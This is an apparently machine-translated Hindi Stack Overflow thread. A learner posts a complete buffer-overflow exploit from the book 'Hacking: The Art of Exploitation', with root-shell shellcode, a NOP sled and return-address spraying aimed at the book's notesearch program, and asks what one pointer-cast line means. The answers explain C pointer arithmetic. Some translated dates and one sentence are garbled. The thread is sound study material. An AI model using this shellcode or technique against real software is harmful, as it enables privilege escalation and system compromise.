मैं "शोषण की कला" के माध्यम से काम कर रहा हूं, और निम्नलिखित सी प्रोग्राम है जिसके सिंटैक्स को मैं पूरी तरह से नहीं समझता हूं।

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char shellcode[]= 
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";

int main(int argc, char *argv[]) {
   unsigned int i, *ptr, ret, offset=270;
   char *command, *buffer;

   command = (char *) malloc(200);
   bzero(command, 200); // zero out the new memory

   strcpy(command, "./notesearch \'"); // start command buffer
   buffer = command + strlen(command); // set buffer at the end

   if(argc > 1) // set offset
      offset = atoi(argv[1]);

   ret = (unsigned int) &i - offset; // set return address

   for(i=0; i < 160; i+=4) // fill buffer with return address
      *((unsigned int *)(buffer+i)) = ret;
   memset(buffer, 0x90, 60); // build NOP sled
   memcpy(buffer+60, shellcode, sizeof(shellcode)-1); 

   strcat(command, "\'");

   system(command); // run exploit
   free(command);
}

अब, लूप के अंदर, एक लाइन है, जो मुझे लगता है, बफर + i में रिटर्न एड्रेस स्टोर करती है? लेकिन वह मूल्य कहाँ सहेजा जाता है? बफर या मैं? यह कोड भी कैसे काम करता है?

c
0
Magusviper 20 जिंदा 2020, 13:46
1
मुझे यकीन नहीं है लेकिन मुझे लगता है कि buffer + i वही बात है buffer[i]
 – 
Nathan Kolpa
20 जिंदा 2020, 13:49
2
नहीं, buffer + i का मतलब &(buffer[i]) है।
 – 
KaiserKatze
20 जिंदा 2020, 13:51
2
buffer + i वही है जो &buffer[i] है। *(buffer + i) वही होगा जो buffer[i] होगा।
 – 
sepp2k
20 जिंदा 2020, 13:52
बफर एक चरित्र सूचक है। यह लगातार स्थानों में रिट वैल्यू को स्टोर करता है। सी में सूचक अवधारणा की जाँच करें। geeksforgeeks.org/…
 – 
Anil Kumar
20 जिंदा 2020, 13:53
सभी कास्ट क्यों?
 – 
klutt
20 जिंदा 2020, 14:04

4 जवाब

सबसे बढ़िया उत्तर

किसी भी सूचक या सरणी p और अनुक्रमणिका i के लिए, व्यंजक *(p + i), बिल्कुल p[i] के बराबर है। इससे यह पता चलता है कि p + i, i का सूचक है: p का वां तत्व, जो तब &p[i] है।

मान लें कि आप *((unsigned int *)(buffer+i)) के बारे में पूछ रहे हैं, अगर हम इसे इसके अलग-अलग हिस्सों में विभाजित करते हैं तो हमारे पास है

buffer + i जिसे अब हम ऊपर से जानते हैं, &buffer[i] के बराबर है।

फिर हमारे पास (unsigned int *) है जो एक प्लेन कास्ट है, जो कंपाइलर को &buffer[i] को unsigned int के पॉइंटर के रूप में मानने के लिए कहता है।

फिर अंत में हमारे पास उस सूचक का विचलन होता है, जो उस मूल्य को इंगित करता है जिसकी ओर इशारा किया जा रहा है।

तो असाइनमेंट int मान को ret में लिखता है जहां &buffer[i] इंगित कर रहा है।


यदि हम अस्थायी चर का उपयोग करके इसे फिर से लिखते हैं तो यह भी मदद कर सकता है:

char *buffer_ptr = buffer + i;
unsigned int *int_ptr = (unsigned int *) buffer_ptr;
int_ptr[0] = ret;
3
Some programmer dude 20 जिंदा 2020, 14:50

buffer चार (char *) का सूचक है। निम्न पंक्ति में, डेवलपर बफर को एक पॉइंटर में int में डालता है, फिर i पूर्णांकों की ऑफसेट जोड़कर पॉइंटर अंकगणित करता है, फिर इस ऑफ़सेट पॉइंटर को डिफरेंस करता है और उस स्थान पर ret में संग्रहीत मान लिखता है। .

  *((unsigned int *)(buffer+i)) = ret;

उदाहरण: मान लें कि int 4byte लंबा है, और मान लें कि buffer अंक 0x100 (बफर = 0x100) को संबोधित करते हैं। मान लें i = 10;

buffer+i फिर 0x100+10*(int का आकार) = 0x100+10*4 = 0x10E को इंगित करता है

ret को फिर 0x10E पते पर मेमोरी में लिखा जाता है

2
nivpeled 20 जिंदा 2020, 13:49
*((unsigned int *)(buffer+i)) = ret;

साधन

*((unsigned int*)(&(buffer[i]))) = ret;
2
KaiserKatze 20 जिंदा 2020, 13:52

कोड में

*((unsigned int *)(buffer+i)) = ret;

buffer प्रकार का है char *, इसलिए सूचक अंकगणित (buffer+i) उस प्रकार का उपयोग करके काम करता है जिस प्रकार यह इंगित करता है, अर्थात, char। साथ ही, buffer में रखे पते को संदर्भित करते समय, यह char प्रकार का होता है, क्योंकि buffer को char प्रकार के सूचक के रूप में परिभाषित किया जाता है।

अब, यह buffer +i के परिणामस्वरूप जो पता उत्पन्न करता है, वह char * प्रकार का है, अर्थात char प्रकार का है। लेकिन, हम एक unsigned int मान (ret वेरिएबल का मान) स्टोर करना चाहते हैं, इसलिए कोड में दो चीजें की जाती हैं:

  • i लूप में 4 से बढ़ जाता है (4 बाइट्स में unsigned int का आकार मानते हुए)
  • पता, unsigned int * पर डाला गया है।

फिर, उस पते पर मान इंगित करने के लिए पते को संदर्भित किया जाता है, और unsigned int का ret का मान वहां संग्रहीत किया जाता है।

1
Sourav Ghosh 20 जिंदा 2020, 13:51